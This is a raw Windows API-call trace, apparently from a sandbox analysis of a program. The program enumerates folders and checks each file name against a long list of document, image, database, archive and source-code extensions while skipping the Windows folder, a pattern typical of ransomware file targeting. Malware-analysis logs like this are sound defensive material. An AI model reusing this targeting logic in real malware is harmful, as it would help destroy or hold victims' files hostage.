	[0180.444] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".pwm") returned 4
	[0180.444] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".pxr") returned 4
	[0180.444] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".py") returned 3
	[0180.444] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0180.444] lstrlenW (lpString=".qt") returned 3
	[0180.444] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0180.444] lstrlenW (lpString=".r3d") returned 4
	[0180.444] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".raf") returned 4
	[0180.444] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".rar") returned 4
	[0180.444] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0180.444] lstrlenW (lpString=".raw") returned 4
	[0180.444] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0180.445] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7822b459, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2fb5a1e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2fb5a1e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x290800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SenseSampleUploader.exe", cAlternateFileName="")) returned 1
	[0180.445] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 1
	[0180.445] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782516c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd6d17d57, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd6d17d57, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATPCSP.dll", cAlternateFileName="")) returned 0
	[0180.445] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0180.445] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.445] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1
	[0180.445] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0180.445] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Mail") returned 1
	[0180.446] lstrlenW (lpString="Windows Mail") returned 12
	[0180.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Windows Mail") returned -1
	[0180.446] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Windows Mail") returned 29
	[0180.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e7a8
	[0180.446] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.446] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0180.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Mail\\en-US") returned 1
	[0180.446] lstrlenW (lpString="en-US") returned 5
	[0180.446] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0180.446] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.446] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0180.446] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0180.446] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.446] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0180.447] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0180.447] lstrlenW (lpString=".1cd") returned 4
	[0180.447] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".3ds") returned 4
	[0180.447] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".3fr") returned 4
	[0180.447] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".3g2") returned 4
	[0180.447] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".3gp") returned 4
	[0180.447] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".7z") returned 3
	[0180.447] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0180.447] lstrlenW (lpString=".accda") returned 6
	[0180.447] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".accdb") returned 6
	[0180.447] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".accdc") returned 6
	[0180.447] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".accde") returned 6
	[0180.447] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".accdt") returned 6
	[0180.447] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".accdw") returned 6
	[0180.447] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0180.447] lstrlenW (lpString=".adb") returned 4
	[0180.447] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0180.447] lstrlenW (lpString=".adp") returned 4
	[0180.447] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai") returned 3
	[0180.448] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0180.448] lstrlenW (lpString=".ai3") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai4") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai5") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai6") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai7") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ai8") returned 4
	[0180.448] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".anim") returned 5
	[0180.448] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0180.448] lstrlenW (lpString=".arw") returned 4
	[0180.448] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".as") returned 3
	[0180.448] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0180.448] lstrlenW (lpString=".asa") returned 4
	[0180.448] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".asc") returned 4
	[0180.448] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".ascx") returned 5
	[0180.448] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0180.448] lstrlenW (lpString=".asm") returned 4
	[0180.448] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0180.448] lstrlenW (lpString=".asmx") returned 5
	[0180.448] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0180.449] lstrlenW (lpString=".asp") returned 4
	[0180.449] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".aspx") returned 5
	[0180.449] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0180.449] lstrlenW (lpString=".asr") returned 4
	[0180.449] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".asx") returned 4
	[0180.449] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".avi") returned 4
	[0180.449] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".avs") returned 4
	[0180.449] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".backup") returned 7
	[0180.449] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0180.449] lstrlenW (lpString=".bak") returned 4
	[0180.449] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".bay") returned 4
	[0180.449] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".bd") returned 3
	[0180.449] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0180.449] lstrlenW (lpString=".bin") returned 4
	[0180.449] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".bmp") returned 4
	[0180.449] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0180.449] lstrlenW (lpString=".bz2") returned 4
	[0180.449] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".c") returned 2
	[0180.450] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0180.450] lstrlenW (lpString=".cdr") returned 4
	[0180.450] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".cer") returned 4
	[0180.450] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".cf") returned 3
	[0180.450] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0180.450] lstrlenW (lpString=".cfc") returned 4
	[0180.450] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".cfm") returned 4
	[0180.450] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".cfml") returned 5
	[0180.450] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0180.450] lstrlenW (lpString=".cfu") returned 4
	[0180.450] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".chm") returned 4
	[0180.450] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".cin") returned 4
	[0180.450] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0180.450] lstrlenW (lpString=".class") returned 6
	[0180.450] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0180.450] lstrlenW (lpString=".clx") returned 4
	[0180.450] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".config") returned 7
	[0180.467] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0180.467] lstrlenW (lpString=".cpp") returned 4
	[0180.467] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".cr2") returned 4
	[0180.467] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".crt") returned 4
	[0180.467] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".crw") returned 4
	[0180.467] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".cs") returned 3
	[0180.467] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0180.467] lstrlenW (lpString=".css") returned 4
	[0180.467] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0180.467] lstrlenW (lpString=".csv") returned 4
	[0180.467] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".cub") returned 4
	[0180.468] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dae") returned 4
	[0180.468] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dat") returned 4
	[0180.468] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".db") returned 3
	[0180.468] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0180.468] lstrlenW (lpString=".dbf") returned 4
	[0180.468] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dbx") returned 4
	[0180.468] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dc3") returned 4
	[0180.468] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dcm") returned 4
	[0180.468] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dcr") returned 4
	[0180.468] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".der") returned 4
	[0180.468] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dib") returned 4
	[0180.468] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0180.468] lstrlenW (lpString=".dic") returned 4
	[0180.468] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".dif") returned 4
	[0180.469] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".divx") returned 5
	[0180.469] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".djvu") returned 5
	[0180.469] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".dng") returned 4
	[0180.469] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".doc") returned 4
	[0180.469] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".docm") returned 5
	[0180.469] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".docx") returned 5
	[0180.469] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".dot") returned 4
	[0180.469] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".dotm") returned 5
	[0180.469] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".dotx") returned 5
	[0180.469] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0180.469] lstrlenW (lpString=".dpx") returned 4
	[0180.469] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".dqy") returned 4
	[0180.469] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".dsn") returned 4
	[0180.469] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0180.469] lstrlenW (lpString=".dt") returned 3
	[0180.470] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0180.470] lstrlenW (lpString=".dtd") returned 4
	[0180.470] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".dwg") returned 4
	[0180.470] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".dwt") returned 4
	[0180.470] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".dx") returned 3
	[0180.470] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0180.470] lstrlenW (lpString=".dxf") returned 4
	[0180.470] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".edml") returned 5
	[0180.470] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0180.470] lstrlenW (lpString=".efd") returned 4
	[0180.470] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".elf") returned 4
	[0180.470] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".emf") returned 4
	[0180.470] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".emz") returned 4
	[0180.470] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".epf") returned 4
	[0180.470] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".eps") returned 4
	[0180.470] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0180.470] lstrlenW (lpString=".epsf") returned 5
	[0180.470] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0180.470] lstrlenW (lpString=".epsp") returned 5
	[0180.471] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0180.471] lstrlenW (lpString=".erf") returned 4
	[0180.471] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".exr") returned 4
	[0180.471] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".f4v") returned 4
	[0180.471] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".fido") returned 5
	[0180.471] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0180.471] lstrlenW (lpString=".flm") returned 4
	[0180.471] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".flv") returned 4
	[0180.471] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".frm") returned 4
	[0180.471] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".fxg") returned 4
	[0180.471] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".geo") returned 4
	[0180.471] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".gif") returned 4
	[0180.471] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".grs") returned 4
	[0180.471] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0180.471] lstrlenW (lpString=".gz") returned 3
	[0180.471] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0180.471] lstrlenW (lpString=".h") returned 2
	[0180.471] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0180.472] lstrlenW (lpString=".hdr") returned 4
	[0180.472] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".hpp") returned 4
	[0180.472] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".hta") returned 4
	[0180.472] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".htc") returned 4
	[0180.472] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".htm") returned 4
	[0180.472] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".html") returned 5
	[0180.472] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0180.472] lstrlenW (lpString=".icb") returned 4
	[0180.472] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".ics") returned 4
	[0180.472] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".iff") returned 4
	[0180.472] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".inc") returned 4
	[0180.472] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".indd") returned 5
	[0180.472] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0180.472] lstrlenW (lpString=".ini") returned 4
	[0180.472] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".iqy") returned 4
	[0180.472] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0180.472] lstrlenW (lpString=".j2c") returned 4
	[0180.473] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".j2k") returned 4
	[0180.473] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".java") returned 5
	[0180.473] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0180.473] lstrlenW (lpString=".jp2") returned 4
	[0180.473] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".jpc") returned 4
	[0180.473] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".jpe") returned 4
	[0180.473] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".jpeg") returned 5
	[0180.473] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0180.473] lstrlenW (lpString=".jpf") returned 4
	[0180.473] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".jpg") returned 4
	[0180.473] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".jpx") returned 4
	[0180.473] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".js") returned 3
	[0180.473] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0180.473] lstrlenW (lpString=".jsf") returned 4
	[0180.473] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".json") returned 5
	[0180.473] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0180.473] lstrlenW (lpString=".jsp") returned 4
	[0180.473] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0180.473] lstrlenW (lpString=".kdc") returned 4
	[0180.474] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".kmz") returned 4
	[0180.474] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".kwm") returned 4
	[0180.474] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".lasso") returned 6
	[0180.474] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0180.474] lstrlenW (lpString=".lbi") returned 4
	[0180.474] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".lgf") returned 4
	[0180.474] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".lgp") returned 4
	[0180.474] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".log") returned 4
	[0180.474] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".m1v") returned 4
	[0180.474] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".m4a") returned 4
	[0180.474] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".m4v") returned 4
	[0180.474] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".max") returned 4
	[0180.474] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".md") returned 3
	[0180.474] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0180.474] lstrlenW (lpString=".mda") returned 4
	[0180.474] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0180.474] lstrlenW (lpString=".mdb") returned 4
	[0180.475] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
